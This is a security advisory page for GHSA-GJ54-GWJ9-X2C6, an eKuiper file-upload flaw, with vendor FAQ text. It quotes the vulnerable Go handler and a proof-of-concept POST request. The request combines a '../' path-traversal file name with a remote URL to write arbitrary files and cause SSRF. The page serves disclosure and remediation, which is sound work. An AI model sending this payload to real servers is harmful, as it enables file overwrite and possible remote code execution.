GHSA-GJ54-GWJ9-X2C6

eKuiper /config/uploads API arbitrary file writing may lead to RCE

func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	// Upload or overwrite a file
	case http.MethodPost:
		switch r.Header.Get("Content-Type") {
		case "application/json":
			fc := &fileContent{}
			defer r.Body.Close()
			err := json.NewDecoder(r.Body).Decode(fc)
			if err != nil {
				handleError(w, err, "Invalid body: Error decoding file json", logger)
				return
			}
			err = fc.Validate()
			if err != nil {
				handleError(w, err, "Invalid body: missing necessary field", logger)
				return
			}

			filePath := filepath.Join(uploadDir, fc.Name)
			err = upload(fc)

POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89

{
  "name": "../../../../tmp/success",
 "file": "http://192.168.65.254:8888/success"
}

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

1. SSRF
2. Path-Travel
3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

The application accepts file uploads without adequately restricting the file type or content. Typical impact: remote code execution if the uploaded file can be served and executed on the server.

Kodem intelligence

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1. What is GHSA-GJ54-GWJ9-X2C6? GHSA-GJ54-GWJ9-X2C6 is a high-severity unrestricted upload of dangerous file types vulnerability in github.com/lf-edge/ekuiper/v2 (go), affecting versions < 2.2.0. It is fixed in 2.2.0. The application accepts file uploads without adequately restricting the file type or content.
2. Which packages are affected by GHSA-GJ54-GWJ9-X2C6?
   • github.com/lf-edge/ekuiper/v2 (go) (versions < 2.2.0)
   • github.com/lf-edge/ekuiper (go) (versions <= 1.14.7)
3. Is there a fix for GHSA-GJ54-GWJ9-X2C6? Yes. GHSA-GJ54-GWJ9-X2C6 is fixed in 2.2.0. Upgrade to this version or later.
4. Is GHSA-GJ54-GWJ9-X2C6 exploitable, and should I be worried? Whether GHSA-GJ54-GWJ9-X2C6 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-GJ54-GWJ9-X2C6 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-GJ54-GWJ9-X2C6? Upgrade github.com/lf-edge/ekuiper/v2 to 2.2.0 or later.

Other vulnerabilities in github.com/lf-edge/ekuiper/v2